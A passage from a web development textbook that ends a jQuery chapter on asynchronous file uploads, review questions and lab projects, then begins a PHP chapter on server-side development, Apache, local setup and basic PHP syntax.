  var formData = new FormData($(“#fileUpload”)[0]);

  var xhr = new XMLHttpRequest();

  xhr.addEventListener(“load”, transferComplete, false);

  xhr.addEventListener(“error”, transferFailed, false);

  xhr.addEventListener(“abort”, transferCanceled, false);

  xhr.open('POST', 'upload.php', true);

  xhr.send(formData);        // actually send the form data

  function transferComplete(evt) {     // stylized upload complete

     $(“#progress”).css(“width”,“100%”);

     $(“#progress”).html(“100%”);

  }

  function transferFailed(evt) {

     alert(“An error occurred while transferring the file.”);

  }

  function transferCanceled(evt) {

     alert(“The transfer has been canceled by the user.”);

  }

}

As shown in Listing 10.17, the form object is passed to a FormData
constructor, which is then used in the call to send() the XHR2 object. This
code attaches listeners for various events that may occur.

While the code in Listing 10.19 works whenever the browser supports the
specification, it always posts the entire form.

10.6.2 Appending Files to a POST
When we consider uploading multiple files, you may want to upload a single
file, rather than the entire form every time. To support that pattern, you can
access a single file and post it by appending the raw file to a FormData object
as shown in Listing 10.18. The advantage of this technique is that you submit
each file to the server asynchronously as the user changes it; and it allows
multiple files to be transmitted at once.

It should be noted that back in Listing 10.17 the file input is marked as
multiple, and so, if supported by the browser, the user can select many files to
upload at once. To support uploading multiple files in our JavaScript code,



we must loop through all the files rather than only hard-code the first one.
Listing 10.21 shows a better script than Listing 10.19, since it handles
multiple files being selected and uploaded at once.

The main challenge of asynchronous file upload is that your implementation
must consider the range of browsers being used by your users. While the new
XHR2 specification and FormData interfaces are “pure” and easy to use, if
you must support older browsers, then the <iframe> workaround will be
needed.

Listing 10.18 Posting a single file
from a form
var xhr = new XMLHttpRequest();

// reference to the 1st file input field

var theFile = $(“:file”)[0].files[0]; 

var formData = new FormData();

formData.append('images', theFile);

Listing 10.19 Looping through
multiple files in a file input
var allFiles =  $(“:file”)[0].files;

for (var i=0;i<allFiles.length;i++) {

  formData.append('images[]', allFiles[i]);

}

Dive Deeper
As you create features like asynchronous upload, it's important to consider
that over the years, browser support for different JavaScript objects has
varied. Something that works in the current version of Chrome might not



work in IE version 8; something that works in a desktop browser might not
work in a mobile browser. It's important to be aware of strategies you can
apply as web application developers.

The principle of graceful degradation is one possible strategy. With this
strategy you develop your site for the abilities of current browsers. For those
users who are not using current browsers, you might provide an alternate site
or pages for those using older browsers that lack the JavaScript (or CSS or
HTML5) used on the main site. The idea here is that the site is “degraded”
(i.e., loses capability) “gracefully” (i.e., without pop-up JavaScript error
codes or without condescending messages telling users to upgrade their
browsers). Figure 10.19 illustrates the idea of graceful degradation.





Figure 10.19 Example of
graceful degradation

Figure 10.19 Full Alternative Text

The alternate strategy is progressive enhancement, which takes the opposite
approach to the problem. In this case, the developer creates the site using
CSS, JavaScript, and HTML features that are supported by all browsers of a
certain age or newer. (Eventually, one does have to stop supporting ancient
browsers; many developers have, for instance, stopped supporting IE 6.) To
that baseline site, the developers can now “progressively” (i.e., for each
browser) “enhance” (i.e., add functionality) to their site based on the
capabilities of the users' browsers. For instance, users using the current
version of Opera and Chrome might see the fancy HTML5 color input form
elements (since both support it at present), users using current versions of
other browsers might see a jQuery plug-in that has similar functionality,
while users of IE 7 might just see a simple text box. Figure 10.20 illustrates
the idea of progressive enhancement.





Figure 10.20 Site with
progressive enhancements

Figure 10.20 Full Alternative Text



10.7 Chapter Summary
This chapter provided an overview of the main features of the jQuery
framework. While there is plenty of jQuery content that we did not have the
space to cover, the chapter did cover selectors, filters, event handling,
animation, as well as asynchronous communication and file uploading.

10.7.1 Key Terms
Animation

Asynchronous JavaScript with XML (AJAX)

content delivery network (CDN)

content filters

cross-origin resource sharing (CORS)

easing function

filters

framework

FormData

graceful degredation

jQuery

jqXHR

library



progressive enhancement

10.7.2 Review Questions
1. What is a web framework? What types of features are expected in a

typical JavaScript framework?

2. What does the $() shorthand stand for in jQuery?

3. Write a jQuery selector to get all the <p> elements that contain the word
“hello.”

4. jQuery extends the CSS syntax for selectors. Explain what that means.

5. How would you change the text color of all the <a> tags using jQuery?

6. What is the difference between the append() and appendTo() methods?

7. Write a jQuery click event handler for all <img> tags within <div>
elements. In the handler, output the src attribute of the image to the
console.

8. What are the advantages of using asynchronous requests over traditional
synchronous ones?

9. What makes a HTTP method safe?

10. Why would you use jQuery animations over CSS transitions?

11. What is cross origin resource sharing? What relevance does it have for
jQuery applications using asynchronous requests?

10.7.3 Hands-On Practice



Project 1: Art Store

Difficulty level: Easy

Overview
Use jQuery to respond to events and to programmatically modify HTML and
CSS as shown in Figure 10.21 .



Figure 10.21 Project 1
Figure 10.21 Full Alternative Text



Hands-on Exercises
Project 10.1

Instructions
1. Examine lab10-project1.html in the browser and then editor. You have

been supplied with the necessary CSS and HTML.

2. Import jQuery in the <head> of the page.

3. Use jQuery to respond to click events on the painting thumbnails.
Replace the src attribute of the <img> element in the <figure> so that it
is displaying the clicked painting. Hint: get the src attribute of the
clicked element and then replace the small folder name with medium
folder name.

4. As well, change the <figcaption> so that it displays the newly clicked
painting's title and artist information. This information is contained
within the alt and title attributes of each thumbnail.

5. Set up event listeners for the input event of each of the range sliders.
The code is going to set the filter and the -webkit-filter properties
on the image in the <figure>. Recall from Chapter 7 that if you are
setting multiple filters, they have to be included together separated by
spaces.

6. Add a listener for the click event of the reset button. This will simply
remove the filters from the image.

Testing
1. To test, click on the thumbnails and verify the correct caption is



displayed. Ensure the filters work as expected.

Project 2: Travel

Difficulty level: Intermediate

Overview
This project will build a photo gallery using jQuery for our travel photo
sharing site as shown in Figure 10.22 .



Figure 10.22 Project 2



Figure 10.22 Full Alternative Text

Hands-on Exercises
Project 10.2

Instructions
1. Examine lab10-project2.html in the browser and then editor. You have

been supplied with the appropriate CSS (the relevant classes are in
gallery.css), html, and JavaScript data files (an array of image objects
are in images.js file). The data is minimized in that file so there is an
additional file called data.json which contains the data in an easy-to-
read format. The images are supplied in two folders: images/square (for
the gallery) and images/medium (for the popup).

2. Loop through the images array and using the appropriate jQuery DOM
methods, add the appropriate <img> tags to the supplied <ul
class=“gallery”> element. The image filenames are contained in the
path property of each image object. Set the alt attribute of each <img>
to the title property of the image object.

3. Use jQuery to attach handlers for the mouseenter, mouseleave, and
mousemove events of the square images in the gallery.

4. For the mouseenter event, use jQuery to add the “gray” class to the
square <img> under the mouse. If you examine that class, you will see it
sets the filter property to grayscale(). Hint: remember that $(this)
within an event handler references the DOM object that generated the
event.

5. Also for the mouseenter event, use jQuery to generate a <div> with an
id=“preview” (the styling for #preview is already defined in
gallery.css). Within that <div> add an <img> element that displays the



larger version of the image. Underneath that <img> add a <p> element
for the caption. The information for the caption and image are contained
within the images array. The alt attribute of the square image under the
mouse contains the image title. You can search through the images array
looking for a match on the title; once a match is found, you have the file
path, city, country, and date information.

6. You will need to use jQuery to set the left and top CSS properties for
the #preview<div>. You can retrieve the x, y coordinates (via the pageX
and pageY properties) of the current mouse position from the event
object that is passed to your event handler. You can calculate the new
position by offsetting by some amount from the mouse x, y position.

7. Finally, once the #preview <div> is constructed, simply append it to the
<body>.

8. For the mouseleave event, remove the “gray” class from the square
image under the mouse. Also remove the #preview<div> from the body.

9. For the mousemove event, simply set the left and top CSS properties for
the #preview <div> using the same approach as described in step 6.

Testing
1. Verify the code works when mousing over the images. Be sure that the

caption is displaying the correct information.

2. Don't worry if the pop-up image is “off screen” when mousing over
images on the edges of the browser.

Project 3: CRM Admin

Difficulty level: Advanced



Overview
This project will use jQuery AJAX to consume and display JSON data. It will
also make use of a third-party JavaScript library to display charts of that data
(see Figure 10.23 ).





Figure 10.23 Project 3
Figure 10.23 Full Alternative Text

Hands-on Exercises
Project 10.3

Instructions
1. Examine lab10-project3.html in the browser and then editor. You have

been supplied with the appropriate CSS files as well. This project can be
a bit overwhelming, so we advise breaking it down into smaller steps: at
each step below, test to ensure it works.

2. First, you will populate the #filterBrowser <select> list with a list of
browsers. The data for this list is going to be retrieved using the $.get()
method. The URL for the web service is as follows:

http://www.randyconnolly.com/funwebdev/services/visits/browsers.php

You may want to first examine the JSON that is returned (simply by
entering this URL into a browser window). You will notice it returns an
array of objects: each object contains the browser id and name.

Now you want to programmatically retrieve this information using the
$.get() method. When the data is retrieved (i.e., within the .done()
handler) you will loop through the returned data and add an <option>
element to the #filterBrowser <select> list for each browser in the
returned data. Be sure to set the value attribute for each <option> to the
id property (e.g., <option value=“2”>Chrome</option>).

3. Do the same for the countries and operating system <select> lists. The



URL for the operating system list web service is as follows:

http://www.randyconnolly.com/funwebdev/services/visits/os.php

The URL for the countries is as follows:

http://www.randyconnolly.com/funwebdev/services/visits/countries.php?
continent=EU

Notice that the countries service is expecting a query string parameter. If
you don't include it, your country list will have all the countries in the
world. We want just the countries from Europe.

4. Now you are ready to display the visits table. This data will also be
retrieved from an external service. The URL is as follows:

http://www.randyconnolly.com/funwebdev/services/visits/visits.php

We will also add the following querystring to this URL:

continent=EU&month=1&limit=100

This ensures the visits data includes only those from Europe, in the
month of January, and returns 100 records.

Using the same techniques as with the above <select> lists, you will
programmatically add <tr> and <td> elements to the provided <tbody
id=“visitsBody”> element.

5. Add event handlers for the change events of the three filter <select>
lists. When the user selects an item in one of these lists, empty the
<tbody> element, and redisplay the table showing only those visits that
match the selected filter. Hint: the $.grep() method provides an easy
way to create a new array of objects based on a filter condition.

Your code shouldn't need to perform any more external data retrievals
for this (or subsequent) steps. You just need to maintain the retrieved
visit data in a variable that persists after the retrieval. Your code can get
confusing at this stage, and you may need to reexamine the discussion of

http://www.randyconnolly.com/funwebdev/services/visits/visits.php


scope and closures from Chapter 8.

6. Add the three charts using Google Charts (the <script> tags for these
libraries are already provided in the lab10-project3.html file). The
documentation for these charts can be found at https://
developers.google.com/chart/. The API for these charts is pretty
straightforward. Much of the code can be copy-and-pasted from the
online documentation into your code. You will need to replace the hard-
coded example data in the documentation with data you will construct
from the visits data you have already downloaded.

For the map/geo chart, you will need to construct an array of visit counts for
each country. For instance, in the visits data, there are 15 visit records with
country=Russia, 14 records with country=Sweden, and so on. This array of
country names and visit counts will be passed into the
google.visualization.arrayToDataTable() method.

You will need to do the same thing for the pie chart (visit counts for each
browser type) and column chart (visit counts for each OS type).

Note: Google Charts is an external API, and as such, it could change between
when this chapter was written (Summer 2016) and when you are reading it.
As a result you may need to make adjustments to your code that are not
mentioned here.

Testing
1. As mentioned in step 1, this can be a complicated project to complete,

especially if you try to perform all the steps without testing. We strongly
suggest testing each step before moving on to the next step.
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11 Introduction to Server-Side
Development with PHP



Chapter Objectives
In this chapter you will learn …

What server-side development is

What the main server-side technologies are

The responsibilities of a web server including how it runs PHP

PHP syntax through numerous examples

PHP control structures

PHP functions

This chapter introduces the principles and practices of server-side
development using the LAMP (Linux, Apache, MySQL, and PHP)
environment. Previous chapters have demonstrated how HTML, CSS, and
JavaScript can be used to build attractive, well-defined documents for
consumption through web browsers. These next few chapters will teach you
how to generate HTML programmatically on the server side using PHP in
response to client requests.



11.1 What Is Server-Side
Development?
While the basic relationship of a client-server model was covered in Chapters
1, 2 , and 8, the role of server-side development is perhaps still unclear. The
basic hosting of your files is achieved through a web server whose
responsibilities are described later. Server-side development is much more
than web hosting: it involves the use of a programming technology like PHP
or ASP.NET to create scripts that dynamically generate content.

It is important to remember that when developing server-side scripts, you are
writing software, just like a C or Java programmer would do, with the major
distinction that your software runs on a web server and uses the HTTP
request-response loop for most interactions with clients. This distinction is
significant, since seemingly simple software principles like data storage and
memory management must be implemented in different ways across server
and client, than they would be on a single desktop system.

11.1.1 Comparing Client and Server
Scripts
In Chapter 8 you encountered JavaScript, a client-side web programming
language (or simply a scripting language). The fundamental difference
between client and server scripts is that in a client-side script the code is
executed on the client browser, whereas in a server-side script, it is executed
on the web server. As you saw in Chapter 8, client-side JavaScript code is
downloaded to the client and is executed there. The server sends the
JavaScript (that the user could look at, if they wished), but you have no
guarantee that the script will even execute.

In contrast, server-side source code remains hidden from the client as it is

http://ASP.NET


processed on the server. The clients never get to see the code, just the HTML
output from the script. Figure 11.1 illustrates how client and server scripts
differ.



Figure 11.1 Comparison of (a)
client script execution and (b)
server script execution

Figure 11.1 Full Alternative Text

The location of the script also impacts what resources it can access. Server
scripts cannot manipulate the HTML or DOM of a page in the client browser
as is possible with client scripts. Conversely, a server script can access
resources on the web server whereas the client cannot. Understanding where
the scripts reside and what they can access is essential to writing quality web
applications.

11.1.2 Server-Side Script Resources
A server-side script can access any resources made available to it by the
server. These resources can be categorized as data-storage resources, web
services, and software applications, as can be seen in Figure 11.2 .



Figure 11.2 Server scripts have
access to many resources

Figure 11.2 Full Alternative Text

The most commonly used resource is data storage, often in the form of a
connection to a database management system. A database management
system (DBMS) is a software system for storing, retrieving, and organizing
large amounts of data. The term database is often used interchangeably to
refer to a DBMS, but it is also used to refer to organized data in general, or
even to the files used by the DBMS. Chapter 14 will introduce databases;
most subsequent chapters will make use of databases as well. While almost
every significant real-world website uses some type of database, many
websites also make use of the server's file system, for example, as a place to
store user uploads.

The next suites of resources are web services, often offered by third-party
providers. Web services use the HTTP protocol to return XML or other data



formats and are often used to extend the functionality of a website. An
example is a geo-location service that returns city and country names in
response to geographic coordinates. Chapter 19 covers the consumption and
creation of web services.

Finally, there is any additional software that can be installed on a server or
accessed via a network connection. Using this additional software your server
scripts can send and receive email, access user authentication services, and
use network-accessible storage. You can even connect a web application to
the regular telephone network to send texts or make calls.

11.1.3 Comparing Server-Side
Technologies
As you learned in Chapter 1, there are several different server-side
technologies for creating web applications. The most common include the
following:

ASP (Active Server Pages). This was Microsoft's first server-side
technology (also called ASP Classic). Like PHP, ASP code (using the
VBScript programming language) can be embedded within the HTML;
though it supported classes and some object-oriented features, most
developers did not make use of these features. ASP programming code
is interpreted at run time; hence, it can be slow in comparison to other
technologies.

ASP.NET. This replaced Microsoft's older ASP technology. ASP.NET
is part of Microsoft's .NET Framework and can use any .NET
programming language (though C# is the most commonly used).
ASP.NET uses an explicitly object-oriented approach that typically
takes longer to learn than ASP or PHP, and is often used in larger
corporate web application systems. It also uses special markup called
web server controls that encapsulate common web functionality such as
database-driven lists, form validation, and user registration wizards. A
recent extension called ASP.NET MVC makes use of the Model-View-

http://ASP.NET
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Controller design pattern (this pattern will be covered in Chapter 17).
ASP.NET pages are compiled into an intermediary file format called
MSIL that is analogous to Java's byte-code. ASP.NET then uses a JIT
(Just-In-Time) compiler to compile the MSIL into machine executable
code so its performance can be excellent. However, while the most
recent version of ASP.NET can run on different platforms, it is usually
limited to Windows servers.

JSP (Java Server Pages). JSP uses Java as its programming language and
like ASP.NET it uses an explicit object-oriented approach and is used in
large enterprise web systems and is integrated into the J2EE
environment. Since JSP uses the Java Runtime Engine, it also uses a JIT
compiler for fast execution time and is cross-platform. While JSP's
usage in the web as a whole is small, it has a substantial market share in
the intranet environment, and is used on a number of very large sites.

Node.js. This is a more recent server environment that uses JavaScript
on the server side, thus allowing developers already familiar with
JavaScript to use just a single language for both client-side and server-
side development. Unlike the other development technologies listed
here, node.js is also its own web server software, thus eliminating the
need for Apache, IIS, or some other web server software.

Perl. Until the development and popularization of ASP, PHP, and JSP,
Perl was the language typically used for early server-side web
development. As a language, it excels in the manipulation of text. It was
commonly used in conjunction with the Common Gateway Interface
(CGI), an early standard API for communication between applications
and web server software.

PHP. Like ASP, PHP is a dynamically typed language that can be
embedded directly within the HTML, and supports most common
object-oriented features such as classes and inheritance. By default, PHP
pages are compiled into an intermediary representation called opcodes
that are analogous to Java's byte-code or the .NET Framework's MSIL.
Originally, PHP stood for personal home pages, although it now is a
recursive acronym that means PHP: Hypertext Processor.

http://ASP.NET
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Python. This terse, object-oriented programming language has many
uses, including being used to create web applications. It is also used in a
variety of web development frameworks such as Django and Pyramid.

Ruby on Rails. This is a web development framework that uses the Ruby
programming language. Like ASP.NET and JSP, Ruby on Rails
emphasizes the use of common software development approaches, in
particular the MVC design pattern. It integrates features such as
templates and engines that aim to reduce the amount of development
work required in the creation of a new site.

All of these technologies share one thing in common: using programming
logic, they generate HTML and possibly CSS and JavaScript on the server
and send it back to the requesting browser, as shown in Figure 11.3 .

http://ASP.NET


Figure 11.3 Web development
technologies

Figure 11.3 Full Alternative Text

Of these server-side technologies, ASP.NET (combined with ASP and
ASP.NET MVC) and PHP appear to have the largest market share. ASP.NET
tends to be more commonly used for enterprise applications and within
intranets. Partly due to the massive user base of WordPress, PHP is the most
commonly used web development technology, and will be the technology we
will use in this book.

Note
Determining the market share of different development environments is not
straightforward. Because server-side technology is used on the server and
does not show up on the browser, analytic companies such as builtwith.com
must use various proxy measures such as the file extensions (which can be
absent) and “fingerprints” within the generated HTML to determine the
server environment that created a given site. Doing so allows you to see that
different technologies (for instance, JSP) have quite different market share
depending on the popularity of the site (which is a rough measure of not only
the site's user load but its size and complexity as well), as can be seen in
Figure 11.4 .
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Figure 11.4 Market share of
web development environments
(data courtesy of BuiltWith.com)

Figure 11.4 Full Alternative Text

Dive Deeper

A Web Server's Responsibilities
As you learned in Chapter 1, in the client-server model the server is
responsible for answering all client requests. No matter how static or simple

http://BuiltWith.com


the website is, there must be a web server somewhere configured to answer
requests for that domain. Once a web server is configured and its IP address
associated through a DNS server (see Chapter 2), it can then start listening
for and answering HTTP requests. In the very simplest case the server is
hosting static HTML files, and in response to a request sends the content of
the file back to the requester.

A web server has many responsibilities beyond responding to requests for
HTML files. These include handling HTTP connections, responding to
requests for static and dynamic resources, managing permissions and access
for certain resources, encrypting and compressing data, managing multiple
domains and URLs, managing database connections, cookies, and state, and
uploading and managing files.

As mentioned in Chapter 1, throughout this textbook you will be using the
LAMP software stack, which refers to the Linux operating system, the
Apache web server, the MySQL DBMS, and the PHP scripting language.
Outside of the chapters on security and deployment, this book will not
examine the Linux operating system in any detail. However, since the
Apache web server is an essential part of the web development pipeline, one
should have some insight into how it works and how it interacts with PHP.

We should also remind you that to run the PHP examples in this book, you
will need to use a LAMP stack or variant. Since the server code relies entirely
on the web-hosting environment, some code written for LAMP may not run
on a Windows/IIS server and vice versa. Selecting the hosting environment is
a critical decision since it will influence how you write your software.

There are several free packages such as XAMPP and EasyPHP that let you
run the LAMP stack on your Windows or Mac computer. The Tools Insight
section in this chapter provides more information about installing one of
these on your computer to help execute your first PHP script.

Apache and Linux
You can consider the Apache web server as the intermediary that interprets



HTTP requests that arrive through a network port and decides how to handle
the request, which often requires working in conjunction with PHP; both
Apache and PHP make use of configuration files that determine exactly how
requests are handled, as shown in Figure 11.5 .

Figure 11.5 Linux, Apache, and
PHP together

Figure 11.5 Full Alternative Text

Apache runs as a daemon on the server. A daemon is an executing instance of
a program (also called a process) that runs in the background, waiting for a
specific event that will activate it. As a background process, the Apache
daemon (also known by its OS name, httpd) waits for incoming HTTP
requests. When a request arrives, Apache then uses modules to determine



how to respond to the request.

In Linux, daemons are usually configured to start running when the OS boots
and can be manually started and stopped by the root user. Whenever a
configuration option is changed (or a server process is hung), you must restart
Apache.

On many Linux systems only the root user can restart Apache using a
command like /etc/init.d/httpd restart (CentOS) or /usr/sbin/apachectl restart
(on Mac). Plug and play environments will have a GUI option to restart the
Apache server.

In Apache, a module is a compiled extension (usually written in the C
programming language) to Apache that helps it handle requests. For this
reason, these modules are also sometimes referred to as handlers. Figure 11.6
illustrates that when a request comes into Apache, each module is given an
opportunity to handle some aspect of the request.



Figure 11.6 Apache modules
and PHP



Figure 11.6 Full Alternative Text

Some modules handle authorization, others handle URL rewriting, while
others handle specific extensions. In Chapter 22, you will learn more about
how Apache configures these handlers.

Apache and PHP
As can be seen in Figure 11.6 , PHP is usually installed as an Apache module
(though it can alternately be installed as a CGI binary). The PHP module
mod_php5 is sometimes referred to as the SAPI (Server Application
Programming Interface) layer since it handles the interaction between the
PHP environment and the web server environment.

Apache runs in two possible modes: multi-process (also called preforked) or
multi-threaded (also called worker), which are shown in Figure 11.7 .



Figure 11.7 Multi-threaded
versus multi-process

Figure 11.7 Full Alternative Text

The default installation of Apache runs using the multi-process mode. That is,



each request is handled by a separate process of Apache; the term fork refers
to the operating system creating a copy of an already running process. Since
forking is time intensive, Apache will prefork a set number of additional
processes in advance of their being needed. Forking is relatively efficient on
Unix-based operating systems, but is slower on Windows-based operating
systems. A key advantage of multi-processing mode is that each process is
insulated from other processes; that is, problems in one process can't affect
other processes.

In the multi-threaded mode, a smaller number of Apache processes are
forked. Each of the processes runs multiple threads. A thread is like a
lightweight process that is contained within an operating system process. A
thread uses less memory than a process, and typically threads share memory
and code; as a consequence, the multi-threaded mode typically scales better
to large loads. When using this mode, all modules running within Apache
have to be thread-safe. Unfortunately, not every PHP module is thread-safe,
and the thread safety of PHP in general is quite disputed.

PHP Internals
PHP itself is written in the C programming language and is composed of
three main modules:

PHP core. The Core module defines the main features of the PHP
environment, including essential functions for variable handling, arrays,
strings, classes, math, and other core features.

Extension layer. This module defines functions for interacting with
services outside of PHP. This includes libraries for MySQL (and other
databases), FTP, SOAP web services, and XML processing, among
others.

Zend Engine. This module handles the reading in of a requested PHP
file, compiling it, and executing it. Figure 11.8 illustrates (somewhat
imaginatively) how the Zend Engine operates behind the scenes when a
PHP page is requested. The Zend Engine is a virtual machine (VM)



analogous to the Java Virtual Machine or the Common Language
Runtime in the .NET Framework. A VM is a software program that
simulates a physical computer; while a VM can operate on multiple
platforms, it has the disadvantage of executing slower than a native
binary application.





Figure 11.8 Zend Engine
Figure 11.8 Full Alternative Text

Tools Insight
To run the PHP examples in this book you will need to use some type of
specialized software that will recognize PHP files and execute them
appropriately. We find that students are sometimes confused about the
relationship between their local PHP files and their local PHP environment.
As you saw earlier in Figure 11.1 , server scripts are executed on a server.
When you are developing (for instance, as a student), your local machine
may likely be hosting both the browser software and the web server software,
as can be seen in Figure 11.9 . From the browser's perspective, it is making a
request of an external server (even though the web server software is actually
running on the same machine as the browser) because it is requesting from a
different process.



Figure 11.9 Hosting a web
server locally

Figure 11.9 Full Alternative Text

There are a numerous alternative ways to run and test your PHP files. This
Tools Insight section provides an overview of some of the options that you
(or your instructor) can use.



Running PHP from the Command
Line
Your development machine may already have a built-in PHP server already
installed. For instance, at the time of writing, computers running Mac OS X
have PHP 5.4 or 5.5 installed. Using the terminal, you can start developing
right away without worrying about server configuration (at least for a little
while). This capability allows one to quickly start a server from any folder,
see log output in the console, and develop small scripts.

To launch the PHP server, navigate (using commands like cd) to the folder
you wish work from. Once in the folder you can start the server (on port
8000) by typing:

php -S localhost:8000

As you can see in Figure 11.10 , this command will allow you to make local
PHP file requests from the browser. This daemon will continue to run until
you use CTRL C to stop the server. As you make requests for pages using a
browser from the URL http://localhost:8000/, you will see output in the
console that will display requests, status codes, and error messages when a
requested page encounters them.



Figure 11.10 Running PHP
server from the command line

Figure 11.10 Full Alternative Text

Although you cannot use this server for production (it's not designed for it), it
does offer a very quick way for students to get started with ease, and can
come in handy if you need to start a server for a quick demonstration or other
reason.

You may wonder if this command line approach is available for Windows.
While PHP is not part of a standard Windows installation, installing an
environment like easyPHP or XAMPP will allow you to run PHP from the



command window as well.

Installing Apache, PHP, and
MySQL for Local Development
One of the true benefits of the LAMP web development stack is that it can
run on almost any computer platform. Similarly, the AMP part of LAMP can
run on most operating systems, including Windows and the Mac OS. Thus it
is possible to install Apache, PHP, and MySQL on your own computer.

While there are many different ways that one can go about installing this
software, you may find that the easiest and quickest way to do so is to use an
all-in-one management software that bundles popular tools together. The
easyPHP (www.easyphp.org) or XAMPP (www.apachefriends.org)
packages or the MAMP for Mac (www.mamp.info) package will install and
configure Apache, PHP, and MySQL (or MariaDB, which is the new open-
source equivalent replacement for MySQL) using a graphical user interface.

For instance, once the XAMPP package is installed, you can then run the
XAMPP control panel, which looks similar to that shown in Figure 11.11 (as
you can see in this screen capture, we did not install all the components). You
may need to click the appropriate Start buttons to launch Apache (and later
MySQL). Once Apache has started, any subsequent PHP requests in your
browser will need to use the localhost domain (or the equivalent IP address
127.0.0.1), as shown in Figure 11.11 .

http://www.easyphp.org
http://www.apachefriends.org
http://www.mamp.info


Figure 11.11 Using XAMPP
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Hands-on Exercises Lab 11
Exercise
Install LAMP

As you progress as a developer you will develop more familiarity with



LAMP installations, at which point you may prefer managing Apache and
MySQL without the overhead (and simplicity) of an all-in-one tool. At this
time we want to focus on PHP development rather than system configuration
so we will describe XAMPP, and allude to Linux command line tools that
also work on many Mac systems. Later on, in Chapters 20 and 22, more
detail on server administration is provided.

Whatever approach you take to having a web host you are ready to start
creating your own PHP pages. If you used the default XAMPP installation
location, your PHP files will have to be saved somewhere within the
C:\xampp\htdocs folder.

On a Mac computer, Apache comes installed (though not activated) and the
default location for your PHP files is /Library/Webserver/Documents. On
Linux installation many apache configurations serve files from
/var/www/html/ and many shared systems require students to publish files in
a folder off their home directory at ~/public_html/.

If you are using a lab server or an external web host, then check the
appropriate documentation from your institution or host to find out where you
will need to save or upload your PHP files.

Running PHP from an Online-Only
Environment
An alternative to running PHP locally on your development machine is to
make use of an online-based (also called cloud-based) development
environment such as cloud9 (c9.io) or codeanywhere
(www.codeanywhere.com). These provide a hassle-free approach to running
a LAMP stack. While this means you will need an Internet connection in
order to code and test, these online development environments provide some
intriguing benefits for PHP development. First, you do not have to clutter
your personal computer with both an editor and web server software, nor do
you need to worry about any server configuration details since they already
include the key components of the LAMP stack as well as other web

http://www.codeanywhere.com


development workflow tools such as sass, npm, and git. A key benefit for
developers with Windows machines is that these online systems typically
provide a Linux terminal, which is especially useful whenever you want to
make use of these other web development workflow tools. Finally, web
development is a collaborative endeavor typically involving the work of
multiple developers; these online environments shine in this regard since
multiple users can share and even edit the same code simultaneously. Figure
11.12 illustrates one of these cloud coding environments.

Figure 11.12 Online PHP



development environments
Figure 11.12 Full Alternative Text

Pro Tip
Although PHP is designed for hosting web applications, it can also be used as
a scripting language on your system, and called directly from the command
line. To interpret a file and echo its output directly to the console, simply type
php and the file name to run it.

php example1.php

Running PHP in this way can be useful to developers since it allows one to
run code without having to have a configured web server, and allows output
to be captured and redirected. Used in combination with crontab (scheduling
software), the command line use of PHP can facilitate scheduled tasks
running on your web applications, for example, sending email each night to
subscribers.

Since the output is displayed as plain text and not interpreted through a
browser, and headers are not sent like in a regular web development
environment, we discourage you developing in this manner while you are
learning.



11.2 Quick Tour of PHP
PHP, like JavaScript, began as a dynamically typed language. Just like in
JavaScript this means that a variable can be a number, and then later a string,
then later an object. Departing from this dynamic typing PHP has introduced
optional static typing for function return types and parameter types, which we
will learn about later in this chapter.

PHP provides classes and functions in a way consistent with other object-
oriented languages such as C++, C#, and Java. The syntax for loops,
conditionals, and assignment is identical to JavaScript, only differing when
you get to functions, classes, and in how you define variables. This section
will cover the essential features of PHP; some of it will be quite cursory and
will leave to the reader the responsibility of delving further into language
specifics. There are a wide variety of PHP books that cover PHP in
significantly more detail than is possible here, and the reader is encouraged to
explore some of these books and online resources.1,2,3

11.2.1 PHP Tags
The most important fact about PHP is that the programming code can be
embedded directly within an HTML file. However, instead of having an
.html extension, a PHP file will usually have the extension .php. As can be
seen in Listing 11.1, PHP programming code must be contained within an
opening <?php tag and a matching closing ?>tag in order to differentiate it
from the HTML. The programming code within the <?php and the ?> tags is
interpreted and executed, while any code outside the tags is echoed directly
out to the client. You may find this hard to believe, but for pages with only
PHP code (i.e., no HTML), the official documentation recommends omitting
the closing ?> tag (it potentially improves output buffering).



Hands-on Exercises Lab 11
Exercise
Your First PHP Script

Listing 11.1 PHP tags
<?php 

$user = “Randy”; 

?>

<!DOCTYPE html> 

<html> 

<body> 

<h1>Welcome <?php echo $user; ?></h1> 

<p>

The server time is 

<?php 

echo “<strong>”; 

echo date(“H:i:s”); 

echo “</strong>”; 

?> 

</p>

</body> 

</html>

You may be wondering what the code in Listing 11.1 would look like when
requested by a browser. Listing 11.2 illustrates the HTML output from the
PHP script in Listing 11.1. Notice that no PHP is sent back to the browser.

Listing 11.2 Output (HTML) from
PHP script in Listing 11.1
<!DOCTYPE html> 

<html> 

<body> 



<h1>Welcome Randy</h1> 

<p> 

The server time is <strong>02:59:09</strong> 

</p> 

</body>

</html>

Listing 11.1 also illustrates the very common practice (especially when first
learning PHP) for a PHP file to have HTML markup and PHP programming
logic woven together. As your code becomes more complex, mixing HTML
markup with programming logic will make your PHP scripts very difficult to
understand and modify. Indeed, the authors have seen PHP files that are
several thousands of lines long, which are a nightmare to maintain. In
Chapter 13, after introducing classes, you will learn good design and coding
practices that can help you minimize mixing HTML and PHP. For now, as
we learn about the basics, mixing the two is perfectly reasonable.

11.2.2 PHP Comments
Programmers are supposed to write documentation to provide other
developers (and themselves) guidance on certain parts of a program. In PHP
any writing that is a comment is ignored when the script is interpreted, but
visible to developers who need to write and maintain the software. The types
of comment styles in PHP are as follows:

Single-line comments. Lines that begin with a # are comment lines and
will not be executed.

Multiline (block) comments. Each PHP script and each function within
it are ideal places to include a large comment block. These comments
begin with a /* and encompass everything that is encountered until a
closing */ tag is found. These comments cannot be nested.

A comment block above a function or at the start of a file is a good place
to write, in normal language, what this function does. By using the /**
tag to open the comment instead of the standard /*, you are identifying
blocks of comment that can later be parsed by code documentation



systems (like phpDoc and javaDoc).

End-of-line comments. Comments need not always be large blocks of
natural language. Sometimes a variable needs a little blurb to tell the
developer what it's for, or a complex portion of code needs a few
comments to help the programmer understand the logic. Whenever // is
encountered in code, everything up to the end of the line is considered a
comment. These comments are sometimes preferable to the block
comments because they do not interfere with one another, but are unable
to span multiple lines of code.

These different commenting styles are also shown in Listing 11.3.

Listing 11.3 PHP comments
<?php

# single-line comment

/* 

This is a multiline comment. 

They are a good way to document functions or complicated blocks of code

*/ 

$artist = readDatabase();  // end-of-line comment 

?>

11.2.3 Variables, Data Types, and
Constants
Variables in PHP are dynamically typed, which means that you as a
programmer do not have to declare the data type of a variable. Instead the
PHP engine makes a best guess as to the intended type based on what it is
being assigned. Variables are also loosely typed in that a variable can be
assigned different data types over time.



Hands-on Exercises Lab 11
Exercise
PHP Variables

